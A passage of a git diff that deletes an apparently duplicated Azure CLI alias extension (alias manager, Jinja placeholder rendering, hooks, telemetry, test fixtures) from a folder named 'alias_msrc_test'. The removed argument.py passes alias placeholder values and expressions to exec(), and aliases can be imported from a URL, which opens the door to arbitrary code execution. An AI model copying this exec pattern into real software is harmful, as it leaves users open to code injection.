levels: the amount of levels we tranverse through the command table tree. - """ - collided_alias = defaultdict(list) - for alias in aliases: - # Only care about the first word in the alias because alias - # cannot have spaces (unless they have positional arguments) - word = alias.split()[0] - for level in range(1, levels + 1): - collision_regex = r'^{}{}($|\s)'.format(r'([a-z\-]*\s)' * (level - 1), word.lower()) - if list(filter(re.compile(collision_regex).match, azext_alias.cached_reserved_commands)) \ - and level not in collided_alias[word]: - collided_alias[word].append(level) - - telemetry.set_collided_aliases(list(collided_alias.keys())) - return collided_alias - - @staticmethod - def write_alias_config_hash(alias_config_hash='', empty_hash=False): - """ - Write self.alias_config_hash to the alias hash file. - - Args: - empty_hash: True if we want to write an empty string into the file. Empty string in the alias hash file - means that we have to perform a full load of the command table in the next run. - """ - with open(GLOBAL_ALIAS_HASH_PATH, 'w') as alias_config_hash_file: - alias_config_hash_file.write('' if empty_hash else alias_config_hash) - - @staticmethod - def write_collided_alias(collided_alias_dict): - """ - Write the collided aliases string into the collided alias file. - """ - # w+ creates the alias config file if it does not exist - open_mode = 'r+' if os.path.exists(GLOBAL_COLLIDED_ALIAS_PATH) else 'w+' - with open(GLOBAL_COLLIDED_ALIAS_PATH, open_mode) as collided_alias_file: - collided_alias_file.truncate() - collided_alias_file.write(json.dumps(collided_alias_dict)) - - @staticmethod - def process_exception_message(exception): - """ - Process an exception message. - - Args: - exception: The exception to process. - - Returns: - A filtered string summarizing the exception. - """ - exception_message = str(exception) - for replace_char in ['\t', '\n', '\\n']: - exception_message = exception_message.replace(replace_char, '' if replace_char != '\t' else ' ') - return exception_message.replace('section', 'alias') diff --git a/src/alias_msrc_test/azext_alias/argument.py b/src/alias_msrc_test/azext_alias/argument.py deleted file mode 100644 index ca5a3d8d11f..00000000000 --- a/src/alias_msrc_test/azext_alias/argument.py +++ /dev/null @@ -1,189 +0,0 @@ -# -------------------------------------------------------------------------------------------- -# Copyright (c) Microsoft Corporation. All rights reserved. -# Licensed under the MIT License. See License.txt in the project root for license information. -# -------------------------------------------------------------------------------------------- - -# pylint: disable=import-error - -import re -import shlex - -from knack.util import CLIError - -import jinja2 as jinja -from azext_alias._const import ( - DUPLICATED_PLACEHOLDER_ERROR, - RENDER_TEMPLATE_ERROR, - INSUFFICIENT_POS_ARG_ERROR, - PLACEHOLDER_EVAL_ERROR, - PLACEHOLDER_BRACKETS_ERROR -) - - -def get_placeholders(arg, check_duplicates=False): - """ - Get all the placeholders' names in order. - Use the regex below to locate all the opening ({{) and closing brackets (}}). - After that, extract "stuff" inside the brackets. - - Args: - arg: The word which this function performs searching on. - check_duplicates: True if we want to check for duplicated positional arguments. - - Returns: - A list of positional arguments in order. - """ - placeholders = [] - last_match = None - arg = normalize_placeholders(arg) - for cur_match in re.finditer(r'\s*{{|}}\s*', arg): - matched_text = cur_match.group().strip() - if not last_match and matched_text == '{{': - last_match = cur_match - continue - - last_matched_text = '' if not last_match else last_match.group().strip() - # Check if the positional argument is enclosed with {{ }} properly - if (not last_matched_text and matched_text == '}}') or (last_matched_text == '{{' and matched_text != '}}'): - raise CLIError(PLACEHOLDER_BRACKETS_ERROR.format(arg)) - elif last_matched_text == '{{' and matched_text == '}}': - # Extract start and end index of the placeholder name - start_index, end_index = last_match.span()[1], cur_match.span()[0] - placeholders.append(arg[start_index: end_index].strip()) - last_match = None - - # last_match did not reset - that means brackets are not enclosed properly - if last_match: - raise CLIError(PLACEHOLDER_BRACKETS_ERROR.format(arg)) - - # Make sure there is no duplicated placeholder names - if check_duplicates and len(placeholders) != len(set(placeholders)): - raise CLIError(DUPLICATED_PLACEHOLDER_ERROR.format(arg)) - - return placeholders - - -def normalize_placeholders(arg, inject_quotes=False): - """ - Normalize placeholders' names so that the template can be ingested into Jinja template engine. - - Jinja does not accept numbers as placeholder names, so add a "_" - before the numbers to make them valid placeholder names. - - Surround placeholders expressions with "" so we can preserve spaces inside the positional arguments. - - Args: - arg: The string to process. - inject_qoutes: True if we want to surround placeholders with a pair of quotes. - - Returns: - A processed string where placeholders are surrounded by "" and - numbered placeholders are prepended with "_". - """ - number_placeholders = re.findall(r'{{\s*\d+\s*}}', arg) - for number_placeholder in number_placeholders: - number = re.search(r'\d+', number_placeholder).group() - arg = arg.replace(number_placeholder, '{{_' + number + '}}') - - return arg.replace('{{', '"{{').replace('}}', '}}"') if inject_quotes else arg - - -def build_pos_args_table(full_alias, args, start_index): - """ - Build a dictionary where the key is placeholder name and the value is the position argument value. - - Args: - full_alias: The full alias (including any placeholders). - args: The arguments that the user inputs in the terminal. - start_index: The index at which we start ingesting position arguments. - - Returns: - A dictionary with the key beign the name of the placeholder and its value - being the respective positional argument. - """ - pos_args_placeholder = get_placeholders(full_alias, check_duplicates=True) - pos_args = args[start_index: start_index + len(pos_args_placeholder)] - - if len(pos_args_placeholder) != len(pos_args): - error_msg = INSUFFICIENT_POS_ARG_ERROR.format(full_alias, - len(pos_args_placeholder), - '' if len(pos_args_placeholder) == 1 else 's', - len(pos_args)) - raise CLIError(error_msg) - - # Escape '"' because we are using "" to surround placeholder expressions - for i, pos_arg in enumerate(pos_args): - pos_args[i] = pos_arg.replace('"', '\\"') - - return dict(zip(pos_args_placeholder, pos_args)) - - -def render_template(cmd_derived_from_alias, pos_args_table): - """ - Render cmd_derived_from_alias as a Jinja template with pos_args_table as the arguments. - - Args: - cmd_derived_from_alias: The string to be injected with positional arguemnts. - pos_args_table: The dictionary used to rendered. - - Returns: - A processed string with positional arguments injected. - """ - try: - cmd_derived_from_alias = normalize_placeholders(cmd_derived_from_alias, inject_quotes=True) - template = jinja.Template(cmd_derived_from_alias) - - # Shlex.split allows us to split a string by spaces while preserving quoted substrings - # (positional arguments in this case) - rendered = shlex.split(template.render(pos_args_table)) - - # Manually check if there is any runtime error (such as index out of range) - # since Jinja template engine only checks for compile time error. - # Only check for runtime errors if there is an empty string in rendered. - if '' in rendered: - check_runtime_errors(cmd_derived_from_alias, pos_args_table) - - return rendered - except Exception as exception: - # Exception raised from runtime error - if isinstance(exception, CLIError): - raise - - # The template has some sort of compile time errors - split_exception_message = str(exception).split() - - # Check if the error message provides the index of the erroneous character - error_index = split_exception_message[-1] - if error_index.isdigit(): - split_exception_message.insert(-1, 'index') - error_msg = RENDER_TEMPLATE_ERROR.format(' '.join(split_exception_message), cmd_derived_from_alias) - - # Calculate where to put an arrow (^) char so that it is exactly below the erroneous character - # e.g. ... "{{a.split('|)}}" - # ^ - error_msg += '\n{}^'.format(' ' * (len(error_msg) - len(cmd_derived_from_alias) + int(error_index) - 1)) - else: - exception_str = str(exception).replace('"{{', '}}').replace('}}"', '}}') - error_msg = RENDER_TEMPLATE_ERROR.format(cmd_derived_from_alias, exception_str) - - raise CLIError(error_msg) - - -def check_runtime_errors(cmd_derived_from_alias, pos_args_table): - """ - Validate placeholders and their expressions in cmd_derived_from_alias to make sure - that there is no runtime error (such as index out of range). - - Args: - cmd_derived_from_alias: The command derived from the alias - (include any positional argument placehodlers) - pos_args_table: The positional argument table. - """ - for placeholder, value in pos_args_table.items(): - exec('{} = "{}"'.format(placeholder, value)) # pylint: disable=exec-used - - expressions = get_placeholders(cmd_derived_from_alias) - for expression in expressions: - try: - exec(expression) # pylint: disable=exec-used - except Exception as exception: # pylint: disable=broad-except - error_msg = PLACEHOLDER_EVAL_ERROR.format(expression, exception) - raise CLIError(error_msg) diff --git a/src/alias_msrc_test/azext_alias/azext_metadata.json b/src/alias_msrc_test/azext_alias/azext_metadata.json deleted file mode 100644 index c584f869eed..00000000000 --- a/src/alias_msrc_test/azext_alias/azext_metadata.json +++ /dev/null @@ -1,4 +0,0 @@ -{ - "azext.minCliCoreVersion": "2.0.50.dev0", - "azext.isPreview": true -} \ No newline at end of file diff --git a/src/alias_msrc_test/azext_alias/command_tree.py b/src/alias_msrc_test/azext_alias/command_tree.py deleted file mode 100644 index 3c1a3ade54e..00000000000 --- a/src/alias_msrc_test/azext_alias/command_tree.py +++ /dev/null @@ -1,68 +0,0 @@ -# -------------------------------------------------------------------------------------------- -# Copyright (c) Microsoft Corporation. All rights reserved. -# Licensed under the MIT License. See License.txt in the project root for license information. -# -------------------------------------------------------------------------------------------- - - -class CommandTree(object): - """ a command tree """ - def __init__(self, data, children=None): - self.data = data - if not children: - self.children = {} - else: - self.children = children - - def get_child(self, child_name): # pylint: disable=no-self-use - """ returns the object with the name supplied """ - child = self.children.get(child_name, None) - if child: - return child - raise ValueError("Value {} not in this tree".format(child_name)) - - def add_child(self, child): - """ adds a child to this branch """ - # TODO allow adding child_name - self.children[child.data] = child - - def has_child(self, name): - """ whether this has a child """ - return self.children.get(name, None) is not None - - def in_tree(self, cmd_args): - """ if a command is in the tree """ - if not cmd_args: - return True - tree = self - try: - for datum in cmd_args: - tree = tree.get_child(datum) - except ValueError: - return False - return True - - def get_sub_tree(self, cmd_args): - current_command = [] - leftover_args = [] - - tree = self - for arg in cmd_args: - if tree.has_child(arg): - current_command.append(arg) - tree = tree.get_child(arg) - else: - leftover_args.append(arg) - return tree, ' '.join(current_command), leftover_args - - -class CommandHead(CommandTree): - """ represents the head of the tree, no data""" - - def __init__(self, children=None): - CommandTree.__init__(self, None, children=children) - - -class CommandBranch(CommandTree): - """ represents a branch of the tree """ - def __init__(self, data, children=None): - CommandTree.__init__(self, data, children=children) diff --git a/src/alias_msrc_test/azext_alias/custom.py b/src/alias_msrc_test/azext_alias/custom.py deleted file mode 100644 index 15124fc5360..00000000000 --- a/src/alias_msrc_test/azext_alias/custom.py +++ /dev/null @@ -1,140 +0,0 @@ -# -------------------------------------------------------------------------------------------- -# Copyright (c) Microsoft Corporation. All rights reserved. -# Licensed under the MIT License. See License.txt in the project root for license information. -# -------------------------------------------------------------------------------------------- - -import os -import hashlib - -from knack.util import CLIError -from knack.log import get_logger - -from azext_alias._const import ALIAS_NOT_FOUND_ERROR, POST_EXPORT_ALIAS_MSG, ALIAS_FILE_NAME -from azext_alias.alias import GLOBAL_ALIAS_PATH, AliasManager -from azext_alias.util import ( - get_alias_table, - is_url, - build_tab_completion_table, - get_config_parser, - retrieve_file_from_url -) - -logger = get_logger(__name__) - - -def create_alias(alias_name, alias_command): - """ - Create an alias. - - Args: - alias_name: The name of the alias. - alias_command: The command that the alias points to. - """ - alias_name, alias_command = alias_name.strip(), alias_command.strip() - alias_table = get_alias_table() - if alias_name not in alias_table.sections(): - alias_table.add_section(alias_name) - - alias_table.set(alias_name, 'command', alias_command) - _commit_change(alias_table) - - -def export_aliases(export_path=None, exclusions=None): - """ - Export all registered aliases to a given path, as an INI configuration file. - - Args: - export_path: The path of the alias configuration file to export to. - exclusions: Space-separated aliases excluded from export. - """ - if not export_path: - export_path = os.path.abspath(ALIAS_FILE_NAME) - - alias_table = get_alias_table() - for exclusion in exclusions or []: - if exclusion not in alias_table.sections(): - raise CLIError(ALIAS_NOT_FOUND_ERROR.format(exclusion)) - alias_table.remove_section(exclusion) - - _commit_change(alias_table, export_path=export_path, post_commit=False) - logger.warning(POST_EXPORT_ALIAS_MSG, export_path) # pylint: disable=superfluous-parens - - -def import_aliases(alias_source): - """ - Import aliases from a file or an URL. - - Args: - alias_source: The source of the alias. It can be a filepath or an URL. - """ - alias_table = get_alias_table() - if is_url(alias_source): - alias_source = retrieve_file_from_url(alias_source) - alias_table.read(alias_source) - os.remove(alias_source) - else: - alias_table.read(alias_source) - _commit_change(alias_table) - - -def list_alias(): - """ - List all registered aliases. - - Returns: - An array of dictionary containing the alias and the command that it points to. - """ - alias_table = get_alias_table() - output = [] - for alias in alias_table.sections(): - if alias_table.has_option(alias, 'command'): - output.append({ - 'alias': alias, - # Remove unnecessary whitespaces - 'command': ' '.join(alias_table.get(alias, 'command').split()) - }) - - return output - - -def remove_alias(alias_names): - """ - Remove an alias. - - Args: - alias_name: The name of the alias to be removed. - """ - alias_table = get_alias_table() - for alias_name in alias_names: - if alias_name not in alias_table.sections(): - raise CLIError(ALIAS_NOT_FOUND_ERROR.format(alias_name)) - alias_table.remove_section(alias_name) - _commit_change(alias_table) - - -def remove_all_aliases(): - """ - Remove all registered aliases. - """ - _commit_change(get_config_parser()) - - -def _commit_change(alias_table, export_path=None, post_commit=True): - """ - Record changes to the alias table. - Also write new alias config hash and collided alias, if any. - - Args: - alias_table: The alias table to commit. - export_path: The path to export the aliases to. Default: GLOBAL_ALIAS_PATH. - post_commit: True if we want to perform some extra actions after writing alias to file. - """ - with open(export_path or GLOBAL_ALIAS_PATH, 'w+') as alias_config_file: - alias_table.write(alias_config_file) - if post_commit: - alias_config_file.seek(0) - alias_config_hash = hashlib.sha1(alias_config_file.read().encode('utf-8')).hexdigest() - AliasManager.write_alias_config_hash(alias_config_hash) - collided_alias = AliasManager.build_collision_table(alias_table.sections()) - AliasManager.write_collided_alias(collided_alias) - build_tab_completion_table(alias_table) diff --git a/src/alias_msrc_test/azext_alias/hooks.py b/src/alias_msrc_test/azext_alias/hooks.py deleted file mode 100644 index 46154cc3b02..00000000000 --- a/src/alias_msrc_test/azext_alias/hooks.py +++ /dev/null @@ -1,143 +0,0 @@ -# -------------------------------------------------------------------------------------------- -# Copyright (c) Microsoft Corporation. All rights reserved. -# Licensed under the MIT License. See License.txt in the project root for license information. -# -------------------------------------------------------------------------------------------- - -import json -import timeit - -from knack.log import get_logger - -from azext_alias import telemetry -from azext_alias.alias import AliasManager -from azext_alias.util import ( - is_alias_command, - cache_reserved_commands, - get_alias_table, - filter_aliases -) -from azext_alias._const import DEBUG_MSG_WITH_TIMING, GLOBAL_ALIAS_TAB_COMP_TABLE_PATH -from azext_alias.command_tree import CommandBranch - -logger = get_logger(__name__) - - -def alias_event_handler(_, **kwargs): - """ - An event handler for alias transformation when EVENT_INVOKER_PRE_TRUNCATE_CMD_TBL event is invoked. - """ - try: - telemetry.start() - - start_time = timeit.default_timer() - args = kwargs.get('args') - alias_manager = AliasManager(**kwargs) - - # [:] will keep the reference of the original args - args[:] = alias_manager.transform(args) - - if is_alias_command(['create', 'import'], args): - load_cmd_tbl_func = kwargs.get('load_cmd_tbl_func', lambda _: {}) - cache_reserved_commands(load_cmd_tbl_func) - - elapsed_time = (timeit.default_timer() - start_time) * 1000 - logger.debug(DEBUG_MSG_WITH_TIMING, args, elapsed_time) - - telemetry.set_execution_time(round(elapsed_time, 2)) - except Exception as client_exception: # pylint: disable=broad-except - telemetry.set_exception(client_exception) - raise - finally: - telemetry.conclude() - - -def enable_aliases_autocomplete(_, **kwargs): - """ - Enable aliases autocomplete by injecting aliases into Azure CLI tab completion list. - """ - external_completions = kwargs.get('external_completions', []) - prefix = kwargs.get('cword_prefix', []) - cur_commands = kwargs.get('comp_words', []) - alias_table = get_alias_table() - # Transform aliases if they are in current commands, - # so parser can get the correct subparser when chaining aliases - _transform_cur_commands(cur_commands, alias_table=alias_table) - - for alias, alias_command in filter_aliases(alias_table): - if alias.startswith(prefix) and alias.strip() != prefix and _is_autocomplete_valid(cur_commands, alias_command): - # Only autocomplete the first word because alias is space-delimited - external_completions.append(alias) - - # Append spaces if necessary (https://github.com/kislyuk/argcomplete/blob/master/argcomplete/__init__.py#L552-L559) - prequote = kwargs.get('cword_prequote', '') - continuation_chars = "=/:" - if len(external_completions) == 1 and external_completions[0][-1] not in continuation_chars and not prequote: - external_completions[0] += ' ' - - -def transform_cur_commands_interactive(_, **kwargs): - """ - Transform any aliases in current commands in interactive into their respective commands. - """ - event_payload = kwargs.get('event_payload', {}) - # text_split = current commands typed in the interactive shell without any unfinished word - # text = current commands typed in the interactive shell - cur_commands = event_payload.get('text', '').split(' ') - _transform_cur_commands(cur_commands) - - event_payload.update({ - 'text': ' '.join(cur_commands) - }) - - -def enable_aliases_autocomplete_interactive(_, **kwargs): - """ - Enable aliases autocomplete on interactive mode by injecting aliases in the command tree. - """ - subtree = kwargs.get('subtree', None) - if not subtree or not hasattr(subtree, 'children'): - return - - for alias, alias_command in filter_aliases(get_alias_table()): - # Only autocomplete the first word because alias is space-delimited - if subtree.in_tree(alias_command.split()): - subtree.add_child(CommandBranch(alias)) - - -def _is_autocomplete_valid(cur_commands, alias_command): - """ - Determine whether autocomplete can be performed at the current state. - - Args: - parser: The current CLI parser. - cur_commands: The current commands typed in the console. - alias_command: The alias command. - - Returns: - True if autocomplete can be performed. - """ - parent_command = ' '.join(cur_commands[1:]) - with open(GLOBAL_ALIAS_TAB_COMP_TABLE_PATH, 'r') as tab_completion_table_file: - try: - tab_completion_table = json.loads(tab_completion_table_file.read()) - return alias_command in tab_completion_table and parent_command in tab_completion_table[alias_command] - except Exception: # pylint: disable=broad-except - return False - - -def _transform_cur_commands(cur_commands, alias_table=None): - """ - Transform any aliases in cur_commands into their respective commands. - - Args: - alias_table: The alias table. - cur_commands: current commands typed in the console. - """ - transformed = [] - alias_table = alias_table if alias_table else get_alias_table() - for cmd in cur_commands: - if cmd in alias_table.sections() and alias_table.has_option(cmd, 'command'): - transformed += alias_table.get(cmd, 'command').split() - else: - transformed.append(cmd) - cur_commands[:] = transformed diff --git a/src/alias_msrc_test/azext_alias/telemetry.py b/src/alias_msrc_test/azext_alias/telemetry.py deleted file mode 100644 index 619d15a635c..00000000000 --- a/src/alias_msrc_test/azext_alias/telemetry.py +++ /dev/null @@ -1,174 +0,0 @@ -# -------------------------------------------------------------------------------------------- -# Copyright (c) Microsoft Corporation. All rights reserved. -# Licensed under the MIT License. See License.txt in the project root for license information. -# -------------------------------------------------------------------------------------------- - -import os -import sys -import datetime -import traceback - -from knack.log import get_logger - -import azure.cli.core.decorators as decorators -from azure.cli.core import telemetry as telemetry_core -from azure.cli.core._environment import get_config_dir -from azext_alias.version import VERSION - -EXTENSION_NAME = 'alias' -ALIAS_EXTENSION_PREFIX = 'Context.Default.Extension.Alias.' - -logger = get_logger(__name__) - - -# pylint: disable=too-many-instance-attributes -class AliasExtensionTelemetrySession(object): - - def __init__(self): - self.start_time = None - self.end_time = None - self.exceptions = [] - # Only show collided aliases when self.full_command_table_loaded is true - self.collided_aliases = [] - self.execution_time = None - self.full_command_table_loaded = False - self.aliases_hit = [] - self.number_of_aliases_registered = 0 - - def generate_payload(self): - """ - Generate a list of telemetry events as payload - """ - events = [] - transformation_task = self._get_alias_transformation_properties() - transformation_task.update(self._get_based_properties()) - events.append(transformation_task) - - for exception in self.exceptions: - properties = { - 'Reserved.DataModel.Fault.TypeString': exception.__class__.__name__, - 'Reserved.DataModel.Fault.Exception.Message': self.get_exception_message(exception), - 'Reserved.DataModel.Fault.Exception.StackTrace': _get_stack_trace(), - } - self.set_custom_properties(properties, 'ActionType', 'Exception') - self.set_custom_properties(properties, 'Version', VERSION) - events.append(properties) - - return events - - def _get_alias_transformation_properties(self): - properties = dict() - self.set_custom_properties(properties, 'StartTime', str(self.start_time)) - self.set_custom_properties(properties, 'EndTime', str(self.end_time)) - self.set_custom_properties(properties, 'Version', VERSION) - self.set_custom_properties(properties, 'ExecutionTimeMs', self.execution_time) - self.set_custom_properties(properties, 'FullCommandTableLoaded', str(self.full_command_table_loaded)) - self.set_custom_properties(properties, 'CollidedAliases', ','.join(self.collided_aliases)) - self.set_custom_properties(properties, 'AliasesHit', ','.join(self.aliases_hit)) - self.set_custom_properties(properties, 'NumberOfAliasRegistered', self.number_of_aliases_registered) - self.set_custom_properties(properties, 'ActionType', 'Transformation') - - return properties - - def add_exception(self, exception): - self.exceptions.append(exception) - - def add_alias_hit(self, alias_used): - self.aliases_hit.append(alias_used) - - @classmethod - def set_custom_properties(cls, prop, name, value): - if name and value is not None: - # 512 characters limit for strings - prop['{}{}'.format(ALIAS_EXTENSION_PREFIX, name)] = value[:512] if isinstance(value, str) else value - - @classmethod - def get_exception_message(cls, exception): - exception_message = str(exception).replace(get_config_dir(), '.azure') - return _remove_cmd_chars(_remove_symbols(exception_message)) - - @classmethod - def _get_based_properties(cls): - return { - 'Reserved.ChannelUsed': 'AI' - } - - -_session = AliasExtensionTelemetrySession() - - -@decorators.suppress_all_exceptions(raise_in_diagnostics=True) -def start(): - _session.start_time = datetime.datetime.now() - - -@decorators.suppress_all_exceptions(raise_in_diagnostics=True) -def set_execution_time(elapsed_time): - _session.execution_time = elapsed_time - - -@decorators.suppress_all_exceptions(raise_in_diagnostics=True) -def set_full_command_table_loaded(): - _session.full_command_table_loaded = True - - -@decorators.suppress_all_exceptions(raise_in_diagnostics=True) -def set_collided_aliases(collided_aliases): - _session.collided_aliases = collided_aliases - - -@decorators.suppress_all_exceptions(raise_in_diagnostics=True) -def set_exception(exception): - _session.add_exception(exception) - - -@decorators.suppress_all_exceptions(raise_in_diagnostics=True) -def set_alias_hit(alias_used): - _session.add_alias_hit(alias_used) - - -@decorators.suppress_all_exceptions(raise_in_diagnostics=True) -def set_number_of_aliases_registered(num_aliases): - _session.number_of_aliases_registered = num_aliases - - -@decorators.suppress_all_exceptions(raise_in_diagnostics=True) -def conclude(): - if not _session.aliases_hit and not _session.exceptions: - return - - _session.end_time = datetime.datetime.now() - for properties in _session.generate_payload(): - telemetry_core.add_extension_event(EXTENSION_NAME, properties) - - -@decorators.suppress_all_exceptions(fallback_return='') -def _get_stack_trace(): - def _get_root_path(): - dir_path = os.path.dirname(os.path.realpath(__file__)) - head, tail = os.path.split(dir_path) - while tail and tail != 'azext_alias': - head, tail = os.path.split(head) - return head - - def _remove_root_paths(s): - root = _get_root_path() - frames = [p.replace(root, '') for p in s] - return str(frames) - - _, _, ex_traceback = sys.exc_info() - trace = traceback.format_tb(ex_traceback) - return _remove_cmd_chars(_remove_symbols(_remove_root_paths(trace))) - - -def _remove_cmd_chars(s): - if isinstance(s, str): - return s.replace("'", '_').replace('"', '_').replace('\r\n', ' ').replace('\n', ' ') - return s - - -def _remove_symbols(s): - if isinstance(s, str): - for c in '$%^&|': - s = s.replace(c, '_') - return s diff --git a/src/alias_msrc_test/azext_alias/tests/__init__.py b/src/alias_msrc_test/azext_alias/tests/__init__.py deleted file mode 100644 index 34913fb394d..00000000000 --- a/src/alias_msrc_test/azext_alias/tests/__init__.py +++ /dev/null @@ -1,4 +0,0 @@ -# -------------------------------------------------------------------------------------------- -# Copyright (c) Microsoft Corporation. All rights reserved. -# Licensed under the MIT License. See License.txt in the project root for license information. -# -------------------------------------------------------------------------------------------- diff --git a/src/alias_msrc_test/azext_alias/tests/_const.py b/src/alias_msrc_test/azext_alias/tests/_const.py deleted file mode 100644 index 6075050cc93..00000000000 --- a/src/alias_msrc_test/azext_alias/tests/_const.py +++ /dev/null @@ -1,88 +0,0 @@ -# -------------------------------------------------------------------------------------------- -# Copyright (c) Microsoft Corporation. All rights reserved. -# Licensed under the MIT License. See License.txt in the project root for license information. -# -------------------------------------------------------------------------------------------- - -DEFAULT_MOCK_ALIAS_STRING = ''' -[mn] -command = monitor - -[diag] -command = diagnostic-settings create - -[ac] -command = account - -[ls] -command = list -otable - -[create-grp] -command = group create -n test --tags tag1=$tag1 tag2=$tag2 tag3=$non-existing-env-var - -[create-vm] -command = vm create -g test-group -n test-vm - -[pos-arg-1 {{ 0 }} {{ 1 }}] -command = iot {{ 0 }}test {{ 1 }}test - -[pos-arg-2 {{ 0 }} {{ arg_1 }}] -command = sf {{ 0 }} {{ 0 }} {{ arg_1 }} {{ arg_1 }} - -[pos-arg-json {{ 0 }}] -command = test --json {{ 0 }} - -[cp {{ arg_1 }} {{ arg_2 }}] -command = storage blob copy start-batch --source-uri {{ arg_1 }} --destination-container {{ arg_2 }} - -[ac-ls] -command = ac ls - -[-h] -command = account - -[storage-connect {{ arg_1 }} {{ arg_2 }}] -command = az storage account connection-string -g {{ arg_1 }} -n {{ arg_2 }} -otsv - -[storage-ls {{ arg_1 }}] -command = storage blob list --account-name {{ arg_1.split(".")[0] }} --container-name {{ arg_1.split("/")[1] }} - -[storage-ls-2 {{ arg_1 }}] -command = storage blob list --account-name {{ arg_1.replace('https://', '').split('.')[0] }} --container-name {{ arg_1.replace("https://", "").split("/")[1] }} -''' - -COLLISION_MOCK_ALIAS_STRING = ''' -[account] -command = monitor - -[list-locations] -command = diagnostic-settings create - -[dns] -command = network dns -''' - -DUP_SECTION_MOCK_ALIAS_STRING = ''' -[mn] -command = monitor - -[mn] -command = account -''' - -DUP_OPTION_MOCK_ALIAS_STRING = ''' -[mn] -command = monitor -command = account -''' - -MALFORMED_MOCK_ALIAS_STRING = ''' -[mn] -command = monitor - -aodfgojadofgjaojdfog -''' - -TEST_RESERVED_COMMANDS = ['account list-locations', - 'network dns', - 'storage account create', - 'group delete'] diff --git a/src/alias_msrc_test/azext_alias/tests/test_alias.py b/src/alias_msrc_test/azext_alias/tests/test_alias.py deleted file mode 100644 index ab03ca3e3d5..00000000000 --- a/src/alias_msrc_test/azext_alias/tests/test_alias.py +++ /dev/null @@ -1,231 +0,0 @@ -# -------------------------------------------------------------------------------------------- -# Copyright (c) Microsoft Corporation. All rights reserved. -# Licensed under the MIT License. See License.txt in the project root for license information. -# -------------------------------------------------------------------------------------------- - -# pylint: disable=line-too-long,import-error,no-self-use,deprecated-method,pointless-string-statement,relative-import,no-member,redefined-outer-name,too-many-return-statements,,anomalous-backslash-in-string - -import os -import sys -import shlex -import unittest -from unittest.mock import Mock, patch -from six.moves import configparser - -from knack.util import CLIError - -import azext_alias -from azext_alias.tests._const import (DEFAULT_MOCK_ALIAS_STRING, - COLLISION_MOCK_ALIAS_STRING, - TEST_RESERVED_COMMANDS, - DUP_SECTION_MOCK_ALIAS_STRING, - DUP_OPTION_MOCK_ALIAS_STRING, - MALFORMED_MOCK_ALIAS_STRING) - -# Various test types -TEST_TRANSFORM_ALIAS = 'test_transform_alias' -TEST_TRANSFORM_COLLIDED_ALIAS = 'test_transform_collided_alias' -TEST_TRANSFORM_EMPTY_STRING = 'test_transform_empty_string' -TEST_POST_TRANSFORM_ENV_VAR = 'test_post_transform_env_var' -TEST_INCONSISTENT_PLACEHOLDER_INDEX = 'test_inconsistent_placeholder_index' -TEST_PARSE_ERROR_PYTHON_3 = 'test_parse_error_python_3' -TEST_PARSE_ERROR_PYTHON_2_3 = 'test_parse_error_python_2_3' - -TEST_DATA = { - TEST_TRANSFORM_ALIAS: [ - ('ac', 'account'), - ('ls', 'list -otable'), - ('ac ls', 'account list -otable'), - ('mn diag', 'monitor diagnostic-settings create'), - ('create-vm', 'vm create -g test-group -n test-vm'), - ('ac-ls', 'ac ls'), - ('-n ac', '-n ac'), - ('-h', '-h'), - ('storage-connect test1 test2', 'storage account connection-string -g test1 -n test2 -otsv'), - ('', ''), - ('test --json \'{"test": "arg"}\'', 'test --json \'{"test": "arg"}\''), - ('ac set -s test', 'account set -s test'), - ('vm ls -g test -otable', 'vm list -otable -g test -otable'), - ('cp test1 test2', 'storage blob copy start-batch --source-uri test1 --destination-container test2'), - ('pos-arg-1 test1 test2', 'iot test1test test2test'), - ('pos-arg-2 test1 test2', 'sf test1 test1 test2 test2'), - ('pos-arg-json \'{"test": "arg"}\'', 'test --json \'{"test": "arg"}\''), - ('cp test1 test2 -o tsv', 'storage blob copy start-batch --source-uri test1 --destination-container test2 -o tsv'), - ('create-vm --image ubtuntults --generate-ssh-key --no-wait', 'vm create -g test-group -n test-vm --image ubtuntults --generate-ssh-key --no-wait'), - ('cp mn diag', 'storage blob copy start-batch --source-uri mn --destination-container diag'), - ('storage-ls azurecliprod.blob.core.windows.net/cli-extensions', 'storage blob list --account-name azurecliprod --container-name cli-extensions'), - ('storage-ls-2 https://azurecliprod.blob.core.windows.net/cli-extensions', 'storage blob list --account-name azurecliprod --container-name cli-extensions'), - ('alias create -n mkrgrp -c "group create -n test --tags owner=\\$USER"', 'alias create -n mkrgrp -c "group create -n test --tags owner=\\$USER"') - ], - TEST_TRANSFORM_COLLIDED_ALIAS: [ - ('account list -otable', 'account list -otable'), - ('account list-locations', 'account list-locations'), - ('list-locations', 'diagnostic-settings create'), - ('dns', 'network dns'), - ('network dns', 'network dns') - ], - TEST_TRANSFORM_EMPTY_STRING: [ - ('network vnet update -g test -n test --dns-servers ""', 'network vnet update -g test -n test --dns-servers'), - ('test1 test2 --query ""', 'test1 test2 --query') - ], - TEST_POST_TRANSFORM_ENV_VAR: [ - ('group create -n test --tags tag1=$tag1 tag2=$tag2 tag3=$non-existing-env-var', 'group create -n test --tags tag1=test-env-var-1 tag2=test-env-var-2 tag3=$non-existing-env-var') - ], - TEST_INCONSISTENT_PLACEHOLDER_INDEX: [ - ['cp'], - ['cp', 'test'] - ], - TEST_PARSE_ERROR_PYTHON_3: [ - DUP_SECTION_MOCK_ALIAS_STRING, - DUP_OPTION_MOCK_ALIAS_STRING - ], - TEST_PARSE_ERROR_PYTHON_2_3: [ - MALFORMED_MOCK_ALIAS_STRING, - 'Malformed alias config file string' - ] -} - - -def test_transform_alias(self, test_case): - self.assertAlias(test_case) - - -def test_transform_collided_alias(self, test_case): - alias_manager = self.get_alias_manager(COLLISION_MOCK_ALIAS_STRING) - alias_manager.collided_alias = azext_alias.alias.AliasManager.build_collision_table(alias_manager.alias_table.sections()) - self.assertEqual(shlex.split(test_case[1]), alias_manager.transform(shlex.split(test_case[0]))) - - -def test_transform_empty_string(self, test_case): - alias_manager = self.get_alias_manager() - transformed_args = alias_manager.transform(shlex.split(test_case[0])) - expected_args = shlex.split(test_case[1]) - self.assertEqual(expected_args, transformed_args[:-1]) - self.assertEqual('', transformed_args[-1]) - - -def test_post_transform_env_var(self, test_case): - os.environ['tag1'] = 'test-env-var-1' - os.environ['tag2'] = 'test-env-var-2' - self.assertPostTransform(test_case) - - -def test_inconsistent_placeholder_index(self, test_case): - alias_manager = self.get_alias_manager() - with self.assertRaises(CLIError) as cm: - alias_manager.transform(test_case) - self.assertEqual(str(cm.exception), 'alias: "cp {{ arg_1 }} {{ arg_2 }}" takes exactly 2 positional arguments (%s given)' % str(len(test_case) - 